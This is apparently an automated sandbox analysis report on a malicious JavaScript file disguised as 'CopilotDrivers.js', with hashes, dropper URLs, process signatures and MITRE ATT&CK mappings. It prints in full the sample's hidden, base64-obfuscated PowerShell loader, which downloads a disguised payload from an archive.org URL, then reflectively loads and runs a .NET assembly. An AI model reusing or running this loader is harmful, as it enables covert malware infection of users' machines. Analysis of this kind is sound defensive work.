4a68c6d4b5fb83e9241e81ec9decd050dd3f4a4f430ef517a72910c5c383087f

General

Target
CopilotDrivers.js
Size 8.3MB
Sample260212-la3sdae14c
SHA256 4a68c6d4b5fb83e9241e81ec9decd050dd3f4a4f430ef517a72910c5c383087f
MD5 f5f25f7a1f1688c857977ec4dee467ed
SHA1 bc6558c0dca71117ec97fc122bb21340f33c8b49
SHA512 0f747b22e4286542ef2a1658dac2479bdb901c16406967ea762204a30e2e4e5b0ccdcf10173165f7afb1a9ee1c8669ab237384a83c13fdd08244ffa8417457c9
SSDEEP 48:uH4h7MrlhILI/3ZrMtXKLQbysyy2E2bM1wbykN+6b037yyyDTV51WQ5lKbwGRRr+:unAytxMiy+UGTCN49dMiAW9wmqsMw0I
TLSH
T1B096017B0AB58781280DD14F53B0BA51AF9750F7BC5A8E04B924CED7C294AED8530FA7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://archive.org/download/optimized_msi_20260211/optimized_MSI.png
exe.dropper
http://archive.org/download/optimized_msi_20260211/optimized_MSI.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5064	4992	powershell.exe	79

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5064	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5064	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5064	powershell.exe
5064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\CopilotDrivers.js
1⤵
PID:4984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGNvcnJvaSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JGNvcnJvaS5IZWFkZXJzLkFkZCgiVXNlci1BZ2VudCIsICJNb3ppbGxhLzUuMCIpOyRjb3Jyb2kuSGVhZGVycy5BZGQoIkFjY2VwdCIsICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjgiKTskY29ycm9pLkhlYWRlcnMuQWRkKCJBY2NlcHQtTGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjkiKTskZHVtYmJlbGwgPSAnIUAjJCXCqCYqJSQjQCEjJSQlJCNAISMlJCbCqCUkIyUkJirCqDU0ODdEOi8vYXJjIUAjJCXCqCYqaXZlLm9yZy9kb3dubG9hZC9vJsKoJSQjJSQmKsKoNTQ4N0QlJCNAISMlJGltaXplZF9tMjU4NyQlNDU2NyMkJWlfMjAyNjAyMTEvbybCqCUkIyUkJirCqDU0ODdEJSQjQCEjJSRpbWl6ZWRfTVNJLibCqCUkIyUkJirCqDU0ODdEbmcnLlJlcGxhY2UoJyFAIyQlwqgmKicsICdoJykuUmVwbGFjZSgnJSQjQCEjJSQnLCAndCcpLlJlcGxhY2UoJybCqCUkIyUkJirCqDU0ODdEJywgJ3AnKS5SZXBsYWNlKCcyNTg3JCU0NTY3IyQlJywgJ3MnKTskemFwb3RlY2FuID0gJGNvcnJvaS5Eb3dubG9hZERhdGEoJGR1bWJiZWxsKTskdWx0cmFzdGFibGUgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJHphcG90ZWNhbik7aWYgKCR1bHRyYXN0YWJsZSAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJykgeyAgJHRoYW5hZGFyID0gJG1hdGNoZXNbMV07ICAkZGlmbHVvcm9ldGhhbmUgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR0aGFuYWRhcikpOyAgJGFyZ3NCYXNlNjQgPSAnSnoxUlNHVXdOVk5oZHpreVVYWkZSMlJzUW01amFFNUhUWGxWVTFreVZsZGtUemw1V25rNWJVeDZOVWRhY2s1WFpHczFlV05yUmpKaWN6VXlaSFpTVjJGNk1USk1kbTlFWXpCU1NHRW5MQ2NuTENkRE9seFZjMlZ5YzF4UWRXSnNhV05jUkc5M2JteHZZV1J6WENjc0owNWhiV1ZmUm1sc1pTY3NKMDF6WW5WcGJHUW5MQ2NuTENkTmMySjFhV3hrSnl3bkp5d25WVkpNSnl3blF6cGNWWE5sY25OY1VIVmliR2xqWEVSdmQyNXNiMkZrYzF3bkxDZE9ZVzFsWDBacGJHVW5MQ2RxY3ljc0p6RW5MQ2NuTENkVVlYTnJYMDVoYldVbkxDY3dKeXduTUNjc0p5Y3NKeWM9JzsgICRhcmdzU3RyaW5nID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYXJnc0Jhc2U2NCkpOyAgJGFyZ3MgPSAkYXJnc1N0cmluZyAtc3BsaXQgJywnIHwgRm9yRWFjaC1PYmplY3QgeyAkXy5UcmltKCcnJyInICkgfTsgIFtTb2Z0d2FyZS5Qcm9ncmFtXS5HZXRNZXRob2QoIk1haW4iKS5JbnZva2UoJG51bGwsICRhcmdzKTt9')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_w5ie1cnu.cw2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w5ie1cnu.cw2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4984-1-0x000002B5D6910000-0x000002B5D691C000-memory.dmp

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memory/4984-0-0x000002B5D6700000-0x000002B5D681E000-memory.dmp

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memory/5064-2-0x0000018B5B690000-0x0000018B5B6A0000-memory.dmp

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memory/5064-3-0x0000018B5B690000-0x0000018B5B6A0000-memory.dmp

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memory/5064-6-0x0000018B75510000-0x0000018B75532000-memory.dmp

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memory/5064-11-0x0000018B5B690000-0x0000018B5B6A0000-memory.dmp

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memory/5064-14-0x0000018B5B680000-0x0000018B5B68C000-memory.dmp

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memory/5064-15-0x0000018B5D340000-0x0000018B5D352000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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